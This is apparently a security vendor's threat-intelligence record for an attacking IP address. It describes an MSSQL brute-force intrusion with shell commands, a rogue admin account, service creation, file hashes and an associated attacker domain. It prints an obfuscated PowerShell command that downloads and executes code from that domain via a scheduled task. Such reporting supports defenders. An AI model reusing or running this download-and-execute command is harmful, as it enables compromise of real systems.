IP Address: 110.77.220.97Previously Malicious

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IP Address:
110.77.220.97​
Previously Malicious

This IP address attempted an attack on a machine protected by Guardicore Centra

Threat Information

Role

Attacker, Scanner

Services Targeted

MSSQL

Tags

MSSQL Listening Execute MsSql Shell Command User Added to Group File Operation By CMD Scheduled Task Creation Service Start MSSQL Brute Force User Created SMB Successful SMB Login Successful MSSQL Login SMB Share Connect Download File Service Creation Download and Execute IDS - Attempted User Privilege Gain CMD

Associated Attack Servers

v.beahh.com

Basic Information

IP Address

110.77.220.97

Domain

-

ISP

CAT Telecom public company Ltd

Country

Thailand

WHOIS

Created Date

-

Updated Date

-

Organization

-

First seen in Guardicore Centra

2019-06-23

Last seen in Guardicore Centra

2019-07-02

What is Guardicore Centra
Guardicore Centra is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Centra generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More

Attack Flow

A user logged in using MSSQL with the following credentials: sa / ****** - Authentication policy: White List (Part of a Brute Force Attempt)

Successful MSSQL Login MSSQL Brute Force

A user logged in using MSSQL with the following credentials: sa / ****** - Authentication policy: Previously Approved User (Part of a Brute Force Attempt)

Successful MSSQL Login MSSQL Brute Force

MSSQL executed 2 shell commands

Execute MsSql Shell Command

User k8h3d was created with the password *********** added to groups: Administrators and logged in using SMB

User Created User Added to Group Successful SMB Login

A user logged in using SMB with the following username: k8h3d - Authentication policy: Correct Password

Successful SMB Login

c:\windows\system32\services.exe installed and started %systemroot%\esonayrn.exe as a service named mQOU under service group None

Service Start Service Creation

The file C:\Windows\ESonaYrn.exe was downloaded and executed

Download and Execute

C:\Windows\temp\svchost.exe was downloaded

Download File

IDS detected Attempted User Privilege Gain : SQL sp_configure - configuration change

IDS - Attempted User Privilege Gain

IDS detected Attempted User Privilege Gain : sp_password - password change

IDS - Attempted User Privilege Gain

IDS detected Attempted User Privilege Gain : xp_cmdshell - program execution

IDS - Attempted User Privilege Gain

The command line powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA= was scheduled to run by modifying C:\Windows\System32\Tasks\Microsoft\Windows\Bluetool

Process netsvcs Service Group started listening on ports: 65533

Listening

Connection was closed due to timeout

Associated Files

\\server-backup\c$\zilnbirc.exe

SHA256: 3c2fe308c0a563e06263bbacf793bbe9b2259d795fcc36b953793a7e499e7f71

56320 bytes

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IP Address: 110.77.220.97​Previously Malicious